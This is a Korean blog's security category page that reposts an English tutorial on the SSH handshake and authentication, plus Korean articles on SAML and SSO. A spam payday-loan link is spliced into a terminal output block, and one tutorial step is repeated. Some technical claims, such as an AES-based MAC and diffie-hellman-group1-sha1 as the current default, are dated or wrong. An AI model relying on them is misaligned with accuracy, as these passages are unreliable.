'보안'에 해당되는 글 22건

  1. 2019.03.28 Secure Shell: How Does SSH Work
  2. 2014.04.18 SAML
  3. 2014.04.18 SSO(Single Sign-On)
  4. 2014.04.18 SAML 기반의 web sso 원리 정리
  5. 2014.04.18 SSO 구현 방법
  6. 2014.04.18 SSO( Single Sign On )
  7. 2011.07.12 [암호화] RSA (Rivest-Shamir-Adleman)
  8. 2010.11.23 7. XSS(CSS)
  9. 2010.11.23 6. 데이터 변조 – 쿠키 변조
  10. 2010.11.23 5 데이터 변조 – 히든 필드 변조

Secure Shell: How Does SSH Work

보안 2019. 3. 28. 09:03

Taking remote shell, for carrying out different tasks is a norm, if you have multiple server machine's in your infrastructure. Different protocols and tools were made to accomplish this task of taking a remote shell. Although the tools made during the initial days were capable enough to carry out necessary shell related tasks, there were different design concerns, that resulted in advancements and new tools to accomplish this task.

In this tutorial guide, we will be discussing one such tool, that was designed to eliminate the flaws in previous remote shell programs. Our topic of interest for this tutorial is none other than the Secure Sell, better known as SSH.

The key characteristics that makes a remote login program an efficient one is pointed out in the below list.

  • The first and the foremost is the privacy of the communication. This means the connection, which provides a remote shell login, must be encrypted to prevent eavesdropping.
  • There must be a mechanism to check whether the data send by either party is not altered, or tampered with. In short, integrity check is a must.
  • Identity of both the server and the client must be provided to each other, to establish a proper authentication.

A wonderful thing about the Secure Shell (SSH), is the fact that, it incorporates all the above mentioned characteristics, in addition to some unique features of its own.

Encryption and authentication mechanisms provided by SSH enhances security to a greater extent, because mostly the communication occurs through a medium, which is unsecured(The Internet). This is majorly due to the fact that, ssh was made to replace some insecure remote login programs like rlogin,telnet etc.

SSH provides multiple mechanisms for authenticating the server and the client. Two of the commonly used authentication mechanism are password based, and key based authentication. Although password based authentication is also secure, its advisable to use key based authentication instead. As i mentioned before, there are some added features apart from the secure authentication and data encryption provided by ssh. Some of the well known features of SSH are mentioned below.

  • SSH Tunneling
  • TCP port forwarding

We will not be discussing the above mentioned features of SSH in this tutorial, instead will be discussing how an SSH connection from a server to a client work. We will be discussing the complete workflow of an SSH connection in detail. Iterations in protocols to improve the overall working, is a norm. SSH protocol also has different iterations and among them the most widely used versions are SSH version 1 and SSH version 2.

The current default and recommended version of SSH is SSH protocol Version 2. We will be beginning by discussing both these versions separately and will be ending with a comparison of both these two versions of SSH, along with its workflow.

When we discuss encryption and data security, there are two types of primarily used cryptographic systems. One is Public Key cryptography(or sometimes called as asymmetric cryptography) & the other is Secret key cryptography (or sometimes called as symmetric cryptography) Most of the modern day security system's use these two types, in multiple ways to ensure security in communication. I have two article's that discuss tools related to symmetric and asymmetric encryption.

The above tutorial's does not discuss cryptography, but it does describe its application in real life. We will be including a few articles related to cryptography in the coming days (I know its quite difficult to discuss cryptography details, but will surely give it an attempt.

)

Workflow of Secure Shell(SSH) Protocol Version 1

The major confusion, that's widely found among industry people, is that "SSH works on Public key encryption and not on Secret Key encryption". I would like to take this opportunity to clear this confusion here. Asymmetric encryption has a lot of overhead involved, and is a little bit time consuming to decrypt data using it.

Due to which most of the protocol employs Public key cryptography(asymmetric encryption), only to share the secret key used for symmetric encryption, which will be used as a primary encryption mechanism for the entire data communication in that session. To make things clear "Asymmetric encryption is only used to share the secret key, which will be used for symmetric encryption"

So if you think logically, the first step, that needs to be taken while establishing an SSH connection, is to make a secure channel between the server and the client.

First the client authenticates the server, because client is the one that initiates the connection. After the server is authenticated, and the client is sure about the identity of the server, a secure symmetric channel is formed between them.

This secure channel will be used for authenticating the client,sharing keys,passwords,and other things. For understanding how this works, let's go through a step by step process.

 

 

Step 1

A connection is always initiated by the client to the server. So the first step is to establish a TCP connection to port 22 on the server. Let's see what we get when we connect to port 22 on the server.

[root@slashroot1 ~]# telnet 192.168.0.105 22
<div id="edfs"><a href="http://graciatelevisio.cat/payday-loans-direct-lenders-instant-approval">graciatelevisio.cat/payday-loans-direct-lenders-instant-approval</a></div>
Trying 192.168.0.105...
Connected to 192.168.0.105 (192.168.0.105).
Escape character is '^]'.
SSH-2.0-OpenSSH_4.3


The client gets two valuable information from the above connection. One is the Protocol version supported by the server. Second is the ssh server package version(which is not necessary. In fact you should not reveal this message to the client)

At this point, the client will continue if it supports version 2 protocol, otherwise will break the connection.

Step 2

As soon as the client decides whether it should continue, based on the protocol version shown by the server, server and client will now switch to a "Binary Packet Protocol"

This protocol contains a packet length of 32 bits(This length is excluding the length field, and message authentication field), padding 

Step 3:

The server will now send some of the critical information to the client. This information will be playing a major role in the current session of the login.

The information send by the server are as follows.

1. The server will disclose its identity to the client. This identity is a rsa public key of the server. This key is mostly stored in the below location on a server(for this example, i will be working on a centos 5 machine). It is created during the openssh server installation.

[root@slashroot1 ssh]# pwd
/etc/ssh
[root@slashroot1 ssh]# cat ssh_host_rsa_key.pub
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxlwxaB4wKrFHGsqUYEzYtTIJWjgul8ML+bnnJIg0HER1wnW2QitRqDzw6f9cr3WKvwqAQh/Sf4bM0LqUAXZre+J6oiLY7X8V6NtEA8nHO1qryueNe44rI6HYunZ3yo4UAXUZqxhjer+tA8OCD6DLRfXOWIMsBUBXJuB+yl1/qGH2J0Kjrnpj17N0mPMqGmMb8+9EjV1Rs1aSDriIWjDsJIDd8fz4gRoelB5mFsEQ7rD+m/RNWxbAhkBoNcFadRg30LqhCtGYQsWADv0p4THCDVZxB3u9VSWK9qZRgF7LbGRdgiVgJjGDPqCO3cWlnQzxcZ9VdvKy+em1RB9BJ++kuw==


If the client is communicating with the server for the first time. The client will get a warning on his screen which will be something like the below.

[root@slashroot1 ~]# ssh 192.168.0.105
The authenticity of host '192.168.0.105 (192.168.0.105)' can't be established.
RSA key fingerprint is c7:14:f4:85:5f:52:cb:f9:53:56:9d:b3:0c:1e:a3:1f.
Are you sure you want to continue connecting (yes/no)?


The client will get the above warning only when he connects for the first time. After the first connection, this host identity key will be saved in a known_hosts file so that, in future you will not get a warning while connecting to this server.

The thing to understand here is that, the above key is a host identity, and not a user identity. Any client connecting to that server will get that same host-key as a server identity, so that if you connect to another machine, instead of this you will be warned(because the client does not have the identity in its known_host file)

2. The second information provided by the server to the client is the server key. This server key is akey exchanged from server to the client. This method is not used in ssh version 2, which will be discussed later.

This key is also regenerated each and every hour according to the default configuration. Its default size is 768 bits. You can see this in the ssh server configuration file (/etc/ssh/sshd_conf)

# Lifetime and size of ephemeral version 1 server key
#KeyRegenerationInterval 1h
#ServerKeyBits 768


3.

8 random bytes which are also called checkbytes. It is necessary for the client to send these bytes in its reply to the server, during its next reply.

4. Finally the server provides all supported encryption, as well as authentication methods.

 

Step 4:

According to the list of encryption algorithms supported by the server, the client simply creates a random symmetric key and sends that symmetric key to the server.

This symmetric key will be used to encrypt as well as decrypt the whole communication during this session.

The client takes an additional care while sending this session key(symmetric key for this session) to the server, by doing a double encryption. The first encryption is done by the server host key(which was shared by the server during step 3), and the second encryption is done by the server key(which will keep on changing every one hour.)

This double encryption increases the security, because even if somebody has the host private key of the server (/etc/ssh/ssh_host_rsa_key), he will not be able to decrypt the message, because its still encrypted by the server key, which keeps on changing on an hourly basis.

Along with this double encrypted session key, the client will also send the selected algorithm from the list of supported algorithm given by the server during step 3.

Step 4:

According to the list of encryption algorithms supported by the server, the client simply creates a random symmetric key and sends that symmetric key to the server.

This symmetric key will be used to encrypt as well as decrypt the whole communication during this session.

 

The client takes an additional care while sending this session key(symmetric key for this session) to the server, by doing a double encryption. The first encryption is done by the server host key(which was shared by the server during step 3), and the second encryption is done by the server key(which will keep on changing every one hour.)

This double encryption increases the security, because even if somebody has the host private key of the server (/etc/ssh/ssh_host_rsa_key), he will not be able to decrypt the message, because its still encrypted by the server key, which keeps on changing on an hourly basis.

Along with this double encrypted session key, the client will also send the selected algorithm from the list of supported algorithm given by the server during step 3.

 

Step 5:

If you notice, the client has still not authenticated the server. It only has the identity of the server, which was given by the server in the form of server host key.

In order to authenticate the server, the client needs to be sure, that the server was able to decrypt the session key send during step 4. So after sending the session key(which is double encrypted with server key and server host key), the client waits for a confirmation message from the server.

The confirmation from the server must be encrypted with the symmetric session key, which the client send. This step of waiting for a confirmation message is very important for the client, because the client has no other way to verify whether the server host key send, was from the intended server.

Once the client receives a confirmation from the server, both of them can now start the communication with this symmetric encryption key.

But till now only the server is authenticated. The client is yet to be authenticated by the server.

 

Client Authentication methods supported by SSH

Now the complete communication will be in a symmetric encrypted form, with the help of the session key.

The client authentication happens over this encrypted channel. There are multiple methods that can be used to authenticate the client. Some of them are mentioned below.

  • Public Key

  • Rhosts

  • Password

  • Kerberos

Related : Kerberos and its Working

We will only be discussing the two most commonly used methods here. Passwords & public key method of authentication.

Password authentication

Password based authentication is simple, and is the most commonly used authentication methods in ssh. It is exactly the same as you log in to a local user using the correct password. The remote server on getting the passwords, logs in the user, based on the server's native password authentication mechanism.

Note the fact that the password transmitted by the client to the server is encrypted through the session symmetric key(which only the server and the client knows)

Public Key Authentication

The second authentication method is public key authentication method. Public key authentication in secure shell is the strongest authentication methods, that can be used to authenticate the client.

For this authentication to work, the client first needs to create an RSA public and private key. Which can be done by a command called ssh-keygen. Always keep in mind, that this key generation is only used for authenticating the client, and not used for encrypting the complete session. Encryption of the complete ssh session is already established by a symmetric session key which was previously shared by the client and the server.

Let's see what happens in this public key authentication. We will first need to create two keys(One private and one public). This public key will be given to all those server's where your require authentication. So a client that needs log-in to multiple servers using public key, needs to distribute his key to those multiple servers first. Any data encrypted with that public key, can only be decrypted with the corresponding private key(which is only with the original client.)

[root@slashroot1 ~]# cd .ssh/
[root@slashroot1 .ssh]# ll -a
total 16
drwx------ 2 root root 4096 Feb 25 14:19 .
drwxr-x--- 9 root root 4096 Feb 25 09:58 ..
-rw-r--r-- 1 root root    0 Feb 25 14:08 known_hosts
[root@slashroot1 .ssh]#


The above shown directory of .ssh (which is a directory that contains the user specific ssh details. Its inside the home directory of the user.).

As of now the directory only has one file called known_hosts. This is the file which will contain the complete list of server host keys line by line. We have previously seen that when a user connects to an ssh server for the first time, the user will get a warning of the server host key(because the client does not have the entry of the server host key in the file, which proves the server identity).

After the first connection the server host key is saved in the file known_hosts, so that when you connect again you will not get a warning(this warning is very much helpful, because it will let you know if you are logging into an attacker's machine instead of the original server).

This will be the location(~/.ssh), where the keys for public key authentication will be saved. Lets create our keys for this authentication.

[root@slashroot1 ~]# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
47:b0:9a:e5:7f:ca:df:ca:aa:20:4e:68:2d:ed:dc:a5 root@slashroot1.slashroot.in
[root@slashroot1 ~]#


Keep in mind that anything that is encrypted with the public key(
id_rsa.pub), can only be decrypted with the corresponding private key (which in our case is id_rsa)If you see clearly the above command, has created two files in the .ssh directory. One is the private key (id_rsa) which will by default have a permission of 600, and the other is the public key, which will be shared to the server(id_rsa.pub)

Now let's share this id_rsa.pub, with the server. The server will keep this public key inside its list of authorized hosts. Sharing this public key does not mean sharing the file id_rsa.pub. Sharing means the content of the file id_rsa.pub, must be there in the file authorized_keys on the server. This authorized hosts file is also located in the directory .ssh inside the home directory of the target user.

Let's get back to the point where we stopped at step 5.

From the list of authentication method's supported by the server, the client will select a public key authentication and will also send the the details about the cryptography used for this public key authentication.

The server on receiving the public key authentication request, will first generate a random 256 bit string as a challenge for the client, and encrypt it with the client public key, which is inside theauthorized_keys file. 

The client on receiving the challenge, will decrypt it with the private key(id_rsa). The client will not send the challenge string as it is. But will combine that string with the session key(which was previously negotiated and is being used for symmetric encryption.) And will generate a md5 hash value. This hash value is send to the server. The server on receiving the hash, will regenerate it(because the server also has both the random string as well as the session key), and if it matches the hash send by the client, the client authentication succeeds.

Now let's get inside SSH protocol version 2.

 

SSH Protocol Version 2

SSH protocol version 2 is the default protocol used these days. This is due to some major advancements in version 2 compared to version 1. The workflow of the ssh login is almost same as that of version 1, however there are some major changes done in the protocol level. Some of these changes include improved encryption standards, Public key certification, much better message authentication codes, reassignment of session key etc.

If you are using centos/rhel 5 like me, most of you might be using openssh version 4.3 or higher. These ssh client's, by default selects ssh protocol version 2 for login, and it will fallback to version 1 if the server does not support version 2.

Multiple functions like key exchange, authentication, encryption were all part of a single protocol in version 1, due to which it is sometimes called as monolithic. SSH version 2 implements these different functions in different protocol(which combines together to make protocol version 2). Let's see these different internal protocol's inside ssh version 2.

  • Transport Layer Protocol
  • Connection protocol
  • Authentication Protocol

​The above three protocol's inside ssh version 2 is defined in seperate RFC's. 

SSH version 1 is very much limited in its support for wide range of algorithms that can be used for session key exchange, message authentication codes, compression algorithms etc. SSH 2 gives pretty good number of choices for the client to select from. SSH version 2 even has a space for adding your own custom algorithm. 

During our discussion regarding session key (which is the symmetric key used for encrypting the complete session ), we saw that the client after selecting one algorithm from the list of supported by the server, generates a symmetric key and sends it to the server with double encryption(first encryption with the server host key and then with the server key, which keeps on changing every hour). In ssh version 2, there is no concept of server key. Instead it the server provides with the list of supported key exchange methods, from which the client selects one. As of now ssh version 2 works on diffie-hellmangroup1-sha1 for exchanging keys. I will recommend reading the below article of Wikipedia, to get an idea about diffie-hellmangroup1-sha1.

Read: diffie-hellman key exchange method

The basic idea behind this change is that no single party(client or the server), should decide the session key. All the supported key exchange algorithm that will be added in the future, will consist this property(nieigther server nor the client can dictate the session key)

So there is no concept of server key (which is altered every hour) in ssh version 2.  

The second major change in SSH version 2 is the inclusion of a concept called as certificate authority(CA), who will sign the public key's used in the communication. This is exactly the same method used in SSL. However this is never implemented in real world as of now. But the protocol has already a room made for this. 

Message authentication code's are used in any secure communication to verify the integrity of the message. Even SSH version 1 uses a message authentication code called as CRC-32(Cyclic Redundancy Check). CRC although does check alteration in data, but is not considered best when security is a major concern. SSH 2 uses advanced encryption standard based MAC. Some of the supported ssh 2 message authentication codes are as below.

  1. hmac-md5
  2. hmac-sha1
  3. ​hmac-ripemd160

Rekeying of session key

SSH includes an added functionality called as rekying of the session key. What happens is, previously in ssh version 1, only one session key was used for the entire session. These days, almost all activities are carried out by ssh session. I myself login to a remote server, and leave that session as it is for weeks together, to continue from where i left.

In such login ssh session's its better to change the session key without breaking the session. That's a feature in ssh version 2. 

let's now have a summary of the differences between ssh version 1 and ssh version 2

  • Diffie-Hellman key is used instead of the server key for sharing the session key in version 2 protocol
  • No Rhosts support in ssh 2
  • SSH protocol version 1 only allows negotiation of the symmetric encryption algorithm, all other things are hard corded(mac, compression etc)
  • SSH 2 supports certificates for public keys used
  • SSH 2 server can dictate the client to use multiple authentication methods in a single session to succeed. However ssh version 1 only supports one method per session
  • SSH version 2 allows the change of session key periodically.

Hope the above article was helpful in understanding the workflow of ssh. And the differences between two version's of SSH.

 

 

출처 - https://www.slashroot.in/secure-shell-how-does-ssh-work

'보안' 카테고리의 다른 글

SAML  (0) 2014.04.18
SSO(Single Sign-On)  (0) 2014.04.18
SAML 기반의 web sso 원리 정리  (0) 2014.04.18
SSO 구현 방법  (0) 2014.04.18
SSO( Single Sign On )  (0) 2014.04.18
:

SAML

보안 2014. 4. 18. 18:05

출처 : http://www.dev2dev.co.kr/pub/a/2005/11/saml.jsp


SAML의 실체

by Harold Lockhart
2005/11/09

개요

웹 서비스, 포털 및 통합 애플리케이션을 통해 점점 더 많은 시스템이 서로 링크되면서 보안 정보를 공유 및 교환할 수 있는 표준에 대한 필요성이 점점 높아지고 있습니다. SAML(Security Assertion Markup Language)은 다양한 환경에서 ID 및 인증 정보를 교류하기 위한 강력하면서도 확장 가능한 일련의 데이터 포맷을 제공합니다. SAML의 필요성 및 정의를 이끌어 내는 핵심 개념인 ID 통합(Identity Federation)은 권한 부여 같은 보안 서비스를 구현하기 위해 독립적으로 관리되는 다양한 소스를 의미합니다. SSO(Single Sign-on)와 더불어 SAML은 현대 네트워크 환경의 필수 요건입니다.

ID 통합

컴퓨터가 네트워크에 연결되기 전만 해도 독립 실행형 시스템에 구현된 인증 및 권한 부여 같은 보안 서비스는 시스템 자체에 포함되어 있었습니다. 따라서 키, 암호, 권한을 결정하기 위한 사용자 정보, 권한 부여 정책뿐만 아니라 인증을 수행하는 데 필요한 모든 코드도 이를 사용하는 시스템에 들어 있었습니다. 시스템을 나중에 네트워크에 연결하는 경우에도 처음에 아주 조금만 변경하면 가능했습니다. 각 시스템은 하나의 섬과 같았고, 사용자들은 액세스하려는 각 시스템에 계정을 가져야 했습니다.

이러한 접근 방법은 단점이 많았습니다. 일례로, 계정마다 암호, 그룹 또는 다른 속성을 사용하므로 사용자 및 관리자가 여러 계정을 설정하는 것이 불편했습니다. 또한 누군가 조직을 떠날 경우 계정 변경 또는 삭제가 사용자의 책임이었기 때문에 관리자가 속성을 변경하느라 많은 시간을 들여야 했습니다. 만일 더욱 강력한 인증 메서드를 사용할 경우 각 시스템을 개별적으로 업데이트해야 했습니다.

Single Sign-on

World Wide Web의 등장으로 여러 시스템 상에서 단일 웹 사이트를 호스팅하는 것이 일반화되었습니다. 그러나 단지 서로 다른 시스템에서 사용자의 다양한 요청을 처리한다는 이유만으로 사용자가 여러 번 로그인해야 한다면 이것은 상당히 번거로울 것입니다. 마찬가지로 포털에서도 사용자가 서로 다른 애플리케이션에 액세스할 때마다 로그인하지 않아야 합니다. SSO(Single Sign-on)는 초기에는 일종의 생산성 향상을 위한 사치품 정도로 여겨졌지만 이제는 적어도 사용자가 하나의 통합 시스템을 경험하고자 한다면 꼭 필요한 요건이 되었습니다.

게다가 네트워크가 점점 대형화되면서 사용자에 관한 모든 정보를 한 곳에 모으기가 불가능해졌을 뿐만 아니라 아무도 그런 방식을 바라지 않게 되었습니다. 예를 들면 의사의 경우 진료 기록 관리, 브로커는 주식 보유 내역, 보험 에이전트는 증권 정보 보유, 회계사는 금융 및 세금 기록 보관 등과 같이 수많은 사용자 및 조직은 개인과 관련된 다양한 종류의 개인 정보를 보유하고 있습니다. 계속해서 이러한 모든 정보를 하나의 지점으로 옮기는 동시에 데이터를 정확하고, 항상 최신으로 유지하기는 더욱 어렵습니다. 더구나 정보를 이전하면 전송 중에 데이터를 손실하거나 도난 당할 확률도 높아집니다.

하지만 여전히 사용자 인증 및 권한 부여를 위해 다양한 유형의 정보를 네트워크 전체에서 사용할 수 있도록 유지해야 합니다. 이것이 바로 ID 통합의 목적입니다. 권한 부여와 같은 목적으로 다양한 소스로부터 단일 사용자에 관한 데이터를 결합합니다. 조직마다 서로 다른 제품을 사용하여 그들이 가지고 있는 ID 데이터를 관리하려고 하기 때문에 네트워크 상에서 이러한 데이터를 보유하고 있는 곳에서 사용될 곳으로 이동하기 위해서는 하나의 표준이 필요합니다. 마찬가지로 많은 제품들이 웹 Single Sign-on을 제공한다 하더라도 표준이 있어야 서로 다른 제품 간에 이를 구현할 수 있습니다. 이것이 바로 SAML을 사용하게 된 이유입니다.

SAML 기초

SAML은 다음과 같은 기능을 제공하여 보안 정보의 수신, 전송 및 공유와 관련된 모든 기능을 표준화합니다.

  • 사용자 보안 정보에 대한 XML 포맷을 제공하고 이러한 정보를 요청 및 전송하기 위한 포맷을 제공합니다.
  • SOAP 같은 프로토콜에서 이러한 메시지를 사용하는 방법을 정의합니다.
  • 웹 SSO와 같이 일반적인 특정 이용 사례에 대해 자세한 메시지 교환 방법을 지정합니다.
  • 사용자의 신원을 노출시키지 않고 사용자 속성을 결정하는 기능을 비롯하여 여러 가지 개인 정보 보호 메커니즘을 지원합니다.
  • Unix, Microsoft Windows, X.509, LDAP, DCE, XCML 등 널리 사용되는 기술에서 제공하는 포맷으로 ID 정보를 처리하는 방법을 자세히 알려줍니다.
  • 메타데이터 스키마를 수식화하여 참여하는 시스템에서 지원하는 SAML 옵션과 통신할 수 있도록 합니다.

더욱이 SAML은 높은 유연성 유지를 위해 특별히 설계되어 아직까지 표준으로 해결되지 않는 요구 사항을 처리할 수 있을 정도로 확장이 가능합니다.

SAML 역할, 어설션(Assertions) 및 문(Statement)

통합 환경은 적어도 다음 세 가지 역할과 관련이 있습니다.

  • 공급 업체(Relying Party) - ID 정보를 사용하는 업체로, 통상적으로 어떤 요청을 허용할 것인지 결정하는 서비스 공급자를 말함.
  • 어설션 업체(Asserting Party) - 보안 정보를 제공하는 업체로, SAML에서는 이들을 " ID 공급자"라고 함.
  • 대상(Subject) - ID 정보와 관련된 사용자

모든 환경에는 여러 개의 대상 및 서비스 공급자가 있습니다. ID 공급자도 여럿이 있을 수 있습니다.

기본적으로 서비스 공급자 또는 공급 업체가 알아야 할 세가지는 다음과 같습니다.

  1. ID 정보
  2. 요청을 하는 업체가 대상이라는 사실
  3. ID 공급자는 이러한 정보를 제공하기로 되어 있다는 사실

SAML에서 어설션(Assertion) 은 이러한 정보를 전달합니다. 어설션에는 머리글 정보, 대상 이름 및 하나 이상의이 포함되어 있습니다. 머리글에는 ID 공급자 이름 및 발행일 및 만료일 같은 기타 정보가 포함되어 있습니다.

가장 중요한 두 가지 문 유형은 다음과 같습니다.

  • 인증 문(Authentication Statements) - 대상이 특정 시간 및 장소에서 특정 메서드를 사용하여 인증되었음을 보고합니다. SAML은 20가지가 넘는 다양한 인증 메서드를 자세하게 정의합니다. 인증 문은 SSO를 지원하는데, 여기서는 ID 공급자가 서비스 공급자를 대신하여 로그온을 수행합니다.
  • 속성 문(Attribute Statements) - 대상과 관련된 속성을 포함합니다. Groups 및 Roles은 전형적인 속성입니다. 그러나 속성 문에는 재무 데이터 또는 다른 속성도 전달할 수 있습니다.

어설션은 두 가지 유형의 문을 모두 전달할 수 있고 추가 문 유형을 정의할 수도 있습니다. 사실 XACML에서 정책을 전달하기 위한 문 및 권한 부여 결정의 결과를 알려주기 위한 또 다른 문도 정의된 적이 있습니다.

SAML의 강점 중 하나는 유연성입니다. ID 공급자는 어설션을 디지털로 서명할 수 있지만 정보의 무결성을 보장하기 위해 SSL 같은 다른 메서드를 사용할 수 있는 옵션이 있습니다. 어설션(Assertion)에는 대상 확인(Subject Confirmation)이라는 요소가 포함되어 있는데, 서비스 공급자는 이 요소를 사용하여 어설션의 정보가 현재 요청하고 있는 업체를 가리키는지 여부를 결정합니다. SAML을 통해 서비스 공급자는 이러한 목적을 위해 다양한 수단을 사용할 수 있습니다.

바인딩 및 프로파일

SAML 어설션이 ID 공급자에서 서비스 공급자에게로 이동하기는 하지만 서비스 공급자도 다음과 같은 기타 경로를 통해 동일한 작업을 수행할 수 있습니다. 서비스 공급자는 전용 채널을 통해 어설션을 직접 얻을 수 있습니다. 가능성 있는 또 다른 방법은 요청하는 대상이 어설션을 전달하고 이를 서비스 공급자에게 제공하는 것입니다. 세 번째 방법은 또 다른 노드를 통해 어설션을 릴레이하는 것입니다. 웹 서비스 환경에서는 SOAP 머리글이 어설션을 전송할 수 있습니다.

SAML은 서비스 공급자가 어설션을 직접 얻는 데 사용할 수 있는 일련의 요청 및 응답 메시지를 XML에 정의합니다. 이러한 요청 메시지는 예를 들어 "John Smith에 관한 모든 속성"과 같이 서비스 공급자가 원하는 것을 지정합니다. 응답 메시지는 요청에 일치하는 하나 이상의 어설션을 반환합니다. 서로 다른 제품이 상호 운용될 수 있도록 하려면 네트워크 프로토콜이 이러한 요청 및 응답을 전송하는 방법도 지정해야 합니다.

SAML SOAP 바인딩은 SOAP 메시지의 본문에 이를 전송하는 방법을 지정합니다. PAOS 바인딩은 휴대폰과 같이 네트워크로부터 요청을 수신할 수는 없고 보낼 수만 있는 장치를 위해 설계되었습니다. 이것은 HTTP 응답에 전송된 메시지를 사용하여 HTTP 이전 프로그램에서 SOAP를 실행합니다. Browser POST 및 Artifact Profiles은 표준 웹 브라우저 동작을 중심으로 설계되었습니다. POST Profile에서 SAML 응답은 브라우저를 통해 POST 되는 서식으로 눈에 보이지 않는 필드에 전달됩니다. Artifact Profile에서는 Artifact라는 임의의 비트 문자열이 서비스 공급자에게 전달되고, 서비스 공급자는 이를 사용하여 전용 백 채널에서 상응하는 어설션을 요청합니다.

SAML은 통합 ID 환경을 지원하기 위해 여러 가지 다른 메커니즘을 제공합니다. 어떤 프로토콜은 서비스 공급자가 몇몇 가능한 ID 공급자 중에서 특정 클라이언트 요청을 보낼 곳을 결정할 수도 있고, 다른 프로토콜에서는 두 개의 ID 공급자가 동일한 사용자에 대해 소유하고 있는 각각의 계정을 결합할 수도 있습니다. 예를 들어, 한 공급자는 사용자를 John Smith로 알고 있고 다른 공급자는 Jonathan K. Smith로 알고 있을 수 있습니다.(일반적으로 이것은 개인 정보 보호 상의 이유로 사용자 허락이 필요합니다.)

또한 대상의 장기 ID가 노출되지 않도록 개인 정보를 보호하는 임시 식별자를 사용할 수도 있습니다. 위의 예에서 계속해서, 한 ID 공급자는 Subject ABC123이 포함된 어설션이 John Smith를 가리킨다는 것을 알 수 있고, 다른 공급자는 ABC123과 Jonathan K. Smith를 연결할 수 있습니다. 그러나 어느 쪽도 상대가 사용하는 계정 이름을 볼 수 없습니다. 그 다음 날에는 전혀 다른 대상을 사용하여 써드파티가 사용 패턴을 감지하지 못하도록 할 수 있습니다.

SAML은 모든 서비스 공급자 및 ID 공급자에게 사용자가 서명했음을 알리기 위해 간단한 로그아웃 프로토콜을 지정합니다. 이것은 사용자가 시스템을 로그오프했음을 보장하기 위한 메커니즘이라기 보다는 주로 리소스 정리 시 편의를 위한 것입니다. 그 밖에 SAML의 유용한 기능은 다음과 같습니다.

  • 어설션 전체 또는 중요한 부분만 암호화
  • 어설션의 의도된 소비자 지정 .

또한 SAML 표준에는 다양한 기능 조합에 대한 상세한 준수 기준과 보안 및 개인 정보 보호 고려 사항에 관한 문서가 포함되어 있습니다.

결론

SAML은 대규모 환경에서 통합 ID 관리를 구현하기 위한 일련의 유용한 메커니즘을 제공하고, 가장 일반적인 여러 가지 시나리오를 아주 상세하게 지정하여 뛰어난 상호 운용성을 제공합니다. 또한 고유한 요구 사항 및 향후 발생하게 될 요구를 처리할 수 있도록 확장이 가능합니다.

추가 자료

  • SAML - OASIS의 SAML 홈 페이지 (OASIS - Organization for the Advancement of Structured Information Standards.)
  • Project Liberty - Liberty Alliance Project
  • XACML - OASIS의 XACML 홈 페이지

Harold Lockhart 는 BEA의 표준 및 아키텍처 그룹의 책임 엔지니어링 기술자입니다. 세계적으로 알려진 저자이자 강연자인 그는 OASIS 웹 서비스 보안 및 SAML 기술 위원회에서 왕성한 활동을 하고 있습니다.


'보안' 카테고리의 다른 글

Secure Shell: How Does SSH Work  (0) 2019.03.28
SSO(Single Sign-On)  (0) 2014.04.18
SAML 기반의 web sso 원리 정리  (0) 2014.04.18
SSO 구현 방법  (0) 2014.04.18
SSO( Single Sign On )  (0) 2014.04.18
:

SSO(Single Sign-On)

보안 2014. 4. 18. 18:03

1. SSO(Single Sign-On)의 정의

: 하나의 아이디로 여러 정보시스템에 접근할 수 있는 통합 로그인 솔루션(ex. 패밀리 사이트의 회원가입)

 

2. SSO의 등장배경

- 기술적 측면 : 기업 내 다양한 정보시스템의 구축에 따른 복잡성 증가

                     PKI, 생체인식 등 다양한 인증 기술의 활성화

- 관리적 측면 : 중앙 관리를 통한 업무 단순화 및 표준화 실현

                     중앙 집중적인 사용자 관리를 통한 보안 기능 강화

 

3. SSO의 구성요소

- 사용자 통합 로그인

- 인증 서버

- 통합 에이전트 : 각 정보시스템에 대한 인증 정보 관리

- LDAP : 네트워크 상의 자원을 식별하고, 인가된 사용자만  접근할 수 있도록 하는

             네트워크 디렉토리 서비스(Lightweight Directory Access Protocol)

 

4. SSO의 기술요소

- 인증 : PKI(Public Key Infrastructure), 생체인식, OTP(One Time Password)

- 관리 : LDAP(Lightweight Directory Access Protocol), 쿠키(Cookie)

- 암호화 통신 : SSL(Secure Socket Layer), IPSec(IP Security Protocol)

 * 각 기술요소를 클릭하시면 보다 자세한 정보를 보실 수 있습니다.

 

5. SSO 구축 유형

① 인증 대행 모델(Delegation)



 

- 인증 방식을 변경하기 어려울 경우, 많이 사용

- 시스템 접근 시, 통합 Agent가 인증 작업을 대행

 

② 인증 정보 전달 모델(Propagation)



 

- 웹 기반의 시스템에서 주로 사용

- 미리 인증된 토큰(Cookie 기능 이용)을 받아서 각 시스템 접근 시, 자동으로 전달

 

6. Cookie를 이용한 SSO구현 시, Cookie 보안 방법

- Data Confidentiality : 토큰은 주요 암호 알고리즘(AES, SEED) 128bit 이상의 키로 암호화 되어야 함

- Data Integrity : 토큰은 MAC 등을 포함해 데이터의 무결성을 보장해야 함

- Replay Attack Protection : 사용자 주소 제한이나 유효시간 제한 같은 보안 기술을 사용하여, 토큰을

  네트워크에 노출시키지 않아야 함


http://blog.naver.com/xcripts?Redirect=Log&logNo=70121445000


'보안' 카테고리의 다른 글

Secure Shell: How Does SSH Work  (0) 2019.03.28
SAML  (0) 2014.04.18
SAML 기반의 web sso 원리 정리  (0) 2014.04.18
SSO 구현 방법  (0) 2014.04.18
SSO( Single Sign On )  (0) 2014.04.18
:

SAML 기반의 web sso 원리 정리

보안 2014. 4. 18. 18:00

Single Sign On을 지원하기 위한 프로토콜이나 방법은 여러가지가 있다.

그중 대표적인 방법으로 CAS,SAML,OAuth등이 있는데, CAS는 쿠기를 기반으로 하기 때문에 같은 도메인명 (xxx.domain.com yyy.domain.com) 사이에서만 SSO가 가능하다. (그만큼 구현도 쉽다.) OAuth는 현재 B2C쪽에 많이 사용되는 프로토콜이고, 그리고 마지막으로 SAML 있다. cross domain간 SSO 구현이 가능하며, OAuth 만큼이나 많이 사용되고 있다. 


SAML은 어떤 구현체가 아니라 SSO등(꼭 SSO만은 아님)을 구현하기 위한 XML 스펙이다.

